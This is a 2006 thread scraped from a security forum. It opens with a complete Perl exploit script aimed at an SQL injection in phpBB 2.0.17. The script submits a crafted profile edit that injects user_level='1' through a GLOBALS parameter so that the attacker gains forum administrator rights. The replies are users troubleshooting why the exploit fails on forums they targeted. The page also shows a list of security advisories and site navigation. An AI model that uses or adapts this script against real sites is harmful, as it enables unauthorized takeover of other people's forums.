Waraxe IT Security Portal
Login or Register
November 16, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 75
Members: 0
Total: 75
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> SQL injection - phpBB 2.0.17 exploit
Post new topicReply to topic View previous topic :: View next topic
SQL injection - phpBB 2.0.17 exploit
PostPosted: Thu Mar 09, 2006 9:44 pm Reply with quote
lookatmenow
Regular user
Regular user
Joined: Feb 24, 2006
Posts: 21




Quote:

#!/usr/bin/perl

# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)


use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';

if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];

$passwd = md5_hex($passwd);

my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";

my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);

my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);

print "if everything was ok you should have admin rights now Smile\n";


I've run this, and it seems to be successful because it always says:

''If everything was ok you should have admin rights now''.

However, I still don't. Is there something I missed...or does it just mean the forum is not vulnerable?
View user's profile Send private message
PostPosted: Fri Mar 10, 2006 9:07 am Reply with quote
fizzi
Advanced user
Advanced user
Joined: Sep 14, 2005
Posts: 55




As i can see, you have to be registered to that forum and put your data as arguments to that exploits. After that you should be admin at the forum.
View user's profile Send private message
PostPosted: Fri Mar 10, 2006 9:07 am Reply with quote
fizzi
Advanced user
Advanced user
Joined: Sep 14, 2005
Posts: 55




As i can see, you have to be registered to that forum and put your data as arguments to that exploits. After that you should be admin at the forum.
View user's profile Send private message
PostPosted: Fri Mar 10, 2006 10:15 am Reply with quote
lookatmenow
Regular user
Regular user
Joined: Feb 24, 2006
Posts: 21




Yeah i've registered etc, put my password email username etc.

like i said it told me 'everything went o.k, you should have admin' and i thought, well that worked nice. then i went on to the forum and i didn't. tried the script whilst i was logged in on the forum aswell, didn't work. so i tried just typing in /admin/index.php and it said i was unauthorized.

which is why i thought maybe that forum wasn't vulnerable perhaps. then again why would the script say it was...but then it not to work. hmmmm tis a thinker.
View user's profile Send private message
PostPosted: Sat May 20, 2006 12:15 am Reply with quote
sljyro
Advanced user
Advanced user
Joined: Mar 23, 2006
Posts: 53




can anyone give a slight insight on this one too? i keep getting the same problem as the above user.

thanks
View user's profile Send private message
PostPosted: Sat May 20, 2006 9:09 am Reply with quote
smile
Regular user
Regular user
Joined: May 19, 2006
Posts: 5




if you get troubles with the script try it as it's demonstrated here. Much more obvious what happens and if it works or not.

http://undergr0und.net/forum/showthread.php?t=624

greetz, smile

BTW: IMHO this script has nothing to do with real SQL injection
View user's profile Send private message
SQL injection - phpBB 2.0.17 exploit
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.048 Seconds